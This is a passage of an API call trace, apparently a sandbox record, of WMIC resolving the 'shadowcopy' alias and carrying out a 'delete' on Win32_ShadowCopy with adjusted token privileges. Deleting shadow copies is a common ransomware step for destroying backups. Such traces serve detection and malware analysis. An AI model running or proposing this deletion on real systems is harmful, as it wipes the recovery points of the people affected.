[0175.484] malloc (_Size=0x18) returned 0x2119b69e010 [0175.484] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2119b44c1d0, strNetworkResource="root\\cli\\ms_409", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6688578a0 | out: ppNamespace=0x7ff6688578a0*=0x2119b4a3990) returned 0x0 [0175.661] free (_Block=0x2119b69e010) [0175.661] free (_Block=0x2119b69dbf0) [0175.661] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0175.661] GetCurrentThreadId () returned 0xd4c [0175.661] ??0CHString@@QEAA@XZ () returned 0x6dd898fa18 [0175.661] malloc (_Size=0x18) returned 0x2119b69dff0 [0175.661] malloc (_Size=0x18) returned 0x2119b69dd90 [0175.661] malloc (_Size=0x18) returned 0x2119b69df70 [0175.661] lstrlenA (lpString="MSFT_CliAlias.FriendlyName='") returned 28 [0175.661] malloc (_Size=0x3a) returned 0x2119b69eb40 [0175.661] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff66883ac40, cbMultiByte=-1, lpWideCharStr=0x2119b69eb40, cchWideChar=29 | out: lpWideCharStr="MSFT_CliAlias.FriendlyName='") returned 29 [0175.661] free (_Block=0x2119b69eb40) [0175.661] malloc (_Size=0x18) returned 0x2119b69def0 [0175.662] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='") returned 0x1c [0175.662] SysStringLen (param_1="shadowcopy") returned 0xa [0175.662] malloc (_Size=0x18) returned 0x2119b69deb0 [0175.662] SysStringLen (param_1="MSFT_CliAlias.FriendlyName='shadowcopy") returned 0x26 [0175.662] SysStringLen (param_1="'") returned 0x1 [0175.662] free (_Block=0x2119b69def0) [0175.662] free (_Block=0x2119b69df70) [0175.662] free (_Block=0x2119b69dd90) [0175.662] free (_Block=0x2119b69dff0) [0175.662] IWbemServices:GetObject (in: This=0x2119b4a44d0, strObjectPath="MSFT_CliAlias.FriendlyName='shadowcopy'", lFlags=0, pCtx=0x0, ppObject=0x6dd898f940*=0x0, ppCallResult=0x0 | out: ppObject=0x6dd898f940*=0x2119b4b7060, ppCallResult=0x0) returned 0x0 [0176.707] malloc (_Size=0x18) returned 0x2119b69dad0 [0176.707] IWbemClassObject:Get (in: This=0x2119b4b7060, wszName="Target", lFlags=0, pVal=0x6dd898f958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f958*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Select * from Win32_ShadowCopy", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.708] free (_Block=0x2119b69dad0) [0176.708] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.708] malloc (_Size=0x3e) returned 0x2119b69eb40 [0176.708] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.708] malloc (_Size=0x18) returned 0x2119b69dff0 [0176.708] IWbemClassObject:Get (in: This=0x2119b4b7060, wszName="PWhere", lFlags=0, pVal=0x6dd898f958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f958*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=" Where ID = '#'", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.708] free (_Block=0x2119b69dff0) [0176.708] lstrlenW (lpString=" Where ID = '#'") returned 15 [0176.708] malloc (_Size=0x20) returned 0x2119b69eb90 [0176.708] lstrlenW (lpString=" Where ID = '#'") returned 15 [0176.708] malloc (_Size=0x18) returned 0x2119b69dbf0 [0176.708] IWbemClassObject:Get (in: This=0x2119b4b7060, wszName="Connection", lFlags=0, pVal=0x6dd898f958*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f958*(varType=0xd, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2119b4b7310, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.708] free (_Block=0x2119b69dbf0) [0176.708] IUnknown:QueryInterface (in: This=0x2119b4b7310, riid=0x7ff668840598*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x6dd898f948 | out: ppvObject=0x6dd898f948*=0x2119b4b7310) returned 0x0 [0176.709] GetCurrentThreadId () returned 0xd4c [0176.709] ??0CHString@@QEAA@XZ () returned 0x6dd898f868 [0176.709] malloc (_Size=0x18) returned 0x2119b69dfb0 [0176.709] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="Namespace", lFlags=0, pVal=0x6dd898f870*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.709] free (_Block=0x2119b69dfb0) [0176.709] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0176.709] malloc (_Size=0x16) returned 0x2119b69d990 [0176.709] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0176.709] malloc (_Size=0x18) returned 0x2119b69d8d0 [0176.709] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="Locale", lFlags=0, pVal=0x6dd898f870*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2119b4964b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.709] free (_Block=0x2119b69d8d0) [0176.709] lstrlenW (lpString="ms_409") returned 6 [0176.709] malloc (_Size=0xe) returned 0x2119b69dc30 [0176.709] lstrlenW (lpString="ms_409") returned 6 [0176.709] malloc (_Size=0x18) returned 0x2119b69dd90 [0176.709] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="User", lFlags=0, pVal=0x6dd898f870*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2119b4964b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.709] free (_Block=0x2119b69dd90) [0176.709] malloc (_Size=0x18) returned 0x2119b69dcd0 [0176.709] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="Password", lFlags=0, pVal=0x6dd898f870*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.709] free (_Block=0x2119b69dcd0) [0176.710] malloc (_Size=0x18) returned 0x2119b69dbf0 [0176.710] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="Server", lFlags=0, pVal=0x6dd898f870*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.710] free (_Block=0x2119b69dbf0) [0176.710] lstrlenW (lpString=".") returned 1 [0176.710] malloc (_Size=0x4) returned 0x2119b69ebc0 [0176.710] lstrlenW (lpString=".") returned 1 [0176.710] malloc (_Size=0x18) returned 0x2119b69def0 [0176.710] IWbemClassObject:Get (in: This=0x2119b4b7310, wszName="Authority", lFlags=0, pVal=0x6dd898f870*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2119b4964b8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f870*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.710] free (_Block=0x2119b69def0) [0176.710] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.710] IUnknown:Release (This=0x2119b4b7310) returned 0x1 [0176.710] GetCurrentThreadId () returned 0xd4c [0176.710] ??0CHString@@QEAA@XZ () returned 0x6dd898f868 [0176.710] malloc (_Size=0x18) returned 0x2119b69da50 [0176.710] IWbemClassObject:Get (in: This=0x2119b4b7060, wszName="__RELPATH", lFlags=0, pVal=0x6dd898f878*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f878*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.710] free (_Block=0x2119b69da50) [0176.710] malloc (_Size=0x18) returned 0x2119b69d970 [0176.710] GetCurrentThreadId () returned 0xd4c [0176.710] ??0CHString@@QEAA@XZ () returned 0x6dd898f738 [0176.711] ??0CHString@@QEAA@PEBG@Z () returned 0x6dd898f750 [0176.711] ??0CHString@@QEAA@AEBV0@@Z () returned 0x6dd898f6c8 [0176.711] ?Empty@CHString@@QEAAXXZ () returned 0x7ffe7f77674c [0176.711] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2119b69ebe0 [0176.711] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0176.711] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x6dd898f6d8 [0176.711] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x6dd898f6d0 [0176.711] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x6dd898f750 [0176.711] ??1CHString@@QEAA@XZ () returned 0x1 [0176.711] ??1CHString@@QEAA@XZ () returned 0x1 [0176.711] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x6dd898f6a0 [0176.711] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x6dd898f6c8 [0176.711] ??1CHString@@QEAA@XZ () returned 0x1 [0176.711] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x2119b69ec50 [0176.711] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0176.711] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x6dd898f6d8 [0176.711] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x6dd898f6d0 [0176.711] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x6dd898f750 [0176.711] ??1CHString@@QEAA@XZ () returned 0x1 [0176.711] ??1CHString@@QEAA@XZ () returned 0x1 [0176.711] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x6dd898f6a0 [0176.728] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x6dd898f6c8 [0176.728] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.728] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ffe7f776740 [0176.728] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.728] malloc (_Size=0x18) returned 0x2119b69dcd0 [0176.728] malloc (_Size=0x18) returned 0x2119b69dd30 [0176.728] malloc (_Size=0x18) returned 0x2119b69d950 [0176.728] malloc (_Size=0x18) returned 0x2119b69dbf0 [0176.728] malloc (_Size=0x18) returned 0x2119b69da50 [0176.728] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0176.728] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0176.728] malloc (_Size=0x18) returned 0x2119b69e010 [0176.728] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0176.728] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0176.728] malloc (_Size=0x18) returned 0x2119b69def0 [0176.728] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0176.729] SysStringLen (param_1="\"") returned 0x1 [0176.729] free (_Block=0x2119b69e010) [0176.729] free (_Block=0x2119b69da50) [0176.729] free (_Block=0x2119b69dbf0) [0176.729] free (_Block=0x2119b69d950) [0176.729] free (_Block=0x2119b69dd30) [0176.729] free (_Block=0x2119b69dcd0) [0176.729] IWbemServices:GetObject (in: This=0x2119b4a3990, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x6dd898f718*=0x0, ppCallResult=0x0 | out: ppObject=0x6dd898f718*=0x2119b4b78f0, ppCallResult=0x0) returned 0x0 [0176.919] malloc (_Size=0x18) returned 0x2119b69e010 [0176.919] IWbemClassObject:Get (in: This=0x2119b4b78f0, wszName="Text", lFlags=0, pVal=0x6dd898f760*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x6dd898f760*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2119b49bae0*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x2119b4979d0, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0176.920] free (_Block=0x2119b69e010) [0176.920] SafeArrayGetLBound (in: psa=0x2119b49bae0, nDim=0x1, plLbound=0x6dd898f72c | out: plLbound=0x6dd898f72c) returned 0x0 [0176.920] SafeArrayGetUBound (in: psa=0x2119b49bae0, nDim=0x1, plUbound=0x6dd898f730 | out: plUbound=0x6dd898f730) returned 0x0 [0176.920] SafeArrayGetElement (in: psa=0x2119b49bae0, rgIndices=0x6dd898f728, pv=0x6dd898f740 | out: pv=0x6dd898f740) returned 0x0 [0176.920] malloc (_Size=0x18) returned 0x2119b69dcd0 [0176.920] malloc (_Size=0x18) returned 0x2119b69dbf0 [0176.920] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0176.920] free (_Block=0x2119b69dcd0) [0176.920] IUnknown:Release (This=0x2119b4b78f0) returned 0x0 [0176.920] free (_Block=0x2119b69def0) [0176.920] ??1CHString@@QEAA@XZ () returned 0x1 [0176.920] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.920] free (_Block=0x2119b69d970) [0176.920] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.920] lstrlenW (lpString="Shadow copy management.") returned 23 [0176.920] malloc (_Size=0x30) returned 0x2119b69aad0 [0176.920] lstrlenW (lpString="Shadow copy management.") returned 23 [0176.920] free (_Block=0x2119b69dbf0) [0176.920] IUnknown:Release (This=0x2119b4b7060) returned 0x0 [0176.920] free (_Block=0x2119b69deb0) [0176.920] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0176.920] lstrlenW (lpString="PATH") returned 4 [0176.920] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0176.921] lstrlenW (lpString="WHERE") returned 5 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0176.921] lstrlenW (lpString="(") returned 1 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0176.921] lstrlenW (lpString="/") returned 1 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0176.921] lstrlenW (lpString="-") returned 1 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0176.921] malloc (_Size=0x18) returned 0x2119b69dd90 [0176.921] lstrlenW (lpString="GET") returned 3 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0176.921] lstrlenW (lpString="LIST") returned 4 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0176.921] lstrlenW (lpString="SET") returned 3 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0176.921] lstrlenW (lpString="CREATE") returned 6 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0176.921] lstrlenW (lpString="CALL") returned 4 [0176.921] lstrlenW (lpString="delete") returned 6 [0176.921] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0176.922] lstrlenW (lpString="ASSOC") returned 5 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0176.922] lstrlenW (lpString="DELETE") returned 6 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0176.922] free (_Block=0x2119b69dd90) [0176.922] lstrlenW (lpString="/") returned 1 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0176.922] lstrlenW (lpString="-") returned 1 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] malloc (_Size=0xe) returned 0x2119b69dcd0 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] lstrlenW (lpString="GET") returned 3 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0176.922] lstrlenW (lpString="LIST") returned 4 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0176.922] lstrlenW (lpString="SET") returned 3 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0176.922] lstrlenW (lpString="CREATE") returned 6 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.922] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0176.922] lstrlenW (lpString="CALL") returned 4 [0176.922] lstrlenW (lpString="delete") returned 6 [0176.923] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0176.923] lstrlenW (lpString="ASSOC") returned 5 [0176.923] lstrlenW (lpString="delete") returned 6 [0176.923] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0176.923] lstrlenW (lpString="DELETE") returned 6 [0176.923] lstrlenW (lpString="delete") returned 6 [0176.923] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0176.923] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.923] malloc (_Size=0x3e) returned 0x2119b69ebe0 [0176.923] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.923] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0176.923] malloc (_Size=0x18) returned 0x2119b69d8f0 [0176.923] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*" [0176.923] lstrlenW (lpString="FROM") returned 4 [0176.923] lstrlenW (lpString="*") returned 1 [0176.923] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0176.923] malloc (_Size=0x18) returned 0x2119b69dfb0 [0176.923] free (_Block=0x2119b69d8f0) [0176.923] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2119b260db0*="\x01\x01" | out: _String=0x0, _Context=0x2119b260db0*="\x01\x01") returned="from" [0176.923] lstrlenW (lpString="FROM") returned 4 [0176.923] lstrlenW (lpString="from") returned 4 [0176.923] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0176.923] malloc (_Size=0x18) returned 0x2119b69def0 [0176.923] free (_Block=0x2119b69dfb0) [0176.923] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2119b260db0*="\x01\x01" | out: _String=0x0, _Context=0x2119b260db0*="\x01\x01") returned="Win32_ShadowCopy" [0176.923] malloc (_Size=0x18) returned 0x2119b69d910 [0176.923] free (_Block=0x2119b69def0) [0176.923] free (_Block=0x2119b69ebe0) [0176.923] free (_Block=0x2119b69d910) [0176.923] lstrlenW (lpString="SET") returned 3 [0176.923] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0176.924] lstrlenW (lpString="CREATE") returned 6 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0176.924] free (_Block=0x2119b69dcb0) [0176.924] malloc (_Size=0x8) returned 0x2119b69ebe0 [0176.924] lstrlenW (lpString="GET") returned 3 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0176.924] lstrlenW (lpString="LIST") returned 4 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0176.924] lstrlenW (lpString="ASSOC") returned 5 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0176.924] WbemLocator:IUnknown:AddRef (This=0x2119b44c1d0) returned 0x3 [0176.924] free (_Block=0x2119b691790) [0176.924] lstrlenW (lpString="") returned 0 [0176.924] lstrlenW (lpString="NQDPDE") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0176.924] lstrlenW (lpString="NQDPDE") returned 6 [0176.924] malloc (_Size=0xe) returned 0x2119b69d9d0 [0176.924] lstrlenW (lpString="NQDPDE") returned 6 [0176.924] GetCurrentThreadId () returned 0xd4c [0176.924] GetCurrentProcess () returned 0xffffffffffffffff [0176.924] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x6dd898faa0 | out: TokenHandle=0x6dd898faa0*=0x2ac) returned 1 [0176.924] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x6dd898fa98 | out: TokenInformation=0x0, ReturnLength=0x6dd898fa98) returned 0 [0176.924] malloc (_Size=0x118) returned 0x2119b69ec00 [0176.924] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x3, TokenInformation=0x2119b69ec00, TokenInformationLength=0x118, ReturnLength=0x6dd898fa98 | out: TokenInformation=0x2119b69ec00, ReturnLength=0x6dd898fa98) returned 1 [0176.924] AdjustTokenPrivileges (in: TokenHandle=0x2ac, DisableAllPrivileges=0, NewState=0x2119b69ec00*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-2043363270, Attributes=0x8d9c), (Luid.LowPart=0x211, Luid.HighPart=-1687611504, Attributes=0x211), (Luid.LowPart=0x22, Luid.HighPart=687865897, Attributes=0x8d8b), (Luid.LowPart=0x211, Luid.HighPart=-1687617200, Attributes=0x211), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0176.924] free (_Block=0x2119b69ec00) [0176.924] CloseHandle (hObject=0x2ac) returned 1 [0176.924] lstrlenW (lpString="GET") returned 3 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0176.924] lstrlenW (lpString="LIST") returned 4 [0176.924] lstrlenW (lpString="delete") returned 6 [0176.924] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0176.924] lstrlenW (lpString="SET") returned 3 [0176.925] lstrlenW (lpString="delete") returned 6 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0176.925] lstrlenW (lpString="CALL") returned 4 [0176.925] lstrlenW (lpString="delete") returned 6 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0176.925] lstrlenW (lpString="ASSOC") returned 5 [0176.925] lstrlenW (lpString="delete") returned 6 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0176.925] lstrlenW (lpString="CREATE") returned 6 [0176.925] lstrlenW (lpString="delete") returned 6 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0176.925] lstrlenW (lpString="DELETE") returned 6 [0176.925] lstrlenW (lpString="delete") returned 6 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="delete", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0176.925] malloc (_Size=0x18) returned 0x2119b69ddd0 [0176.925] lstrlenA 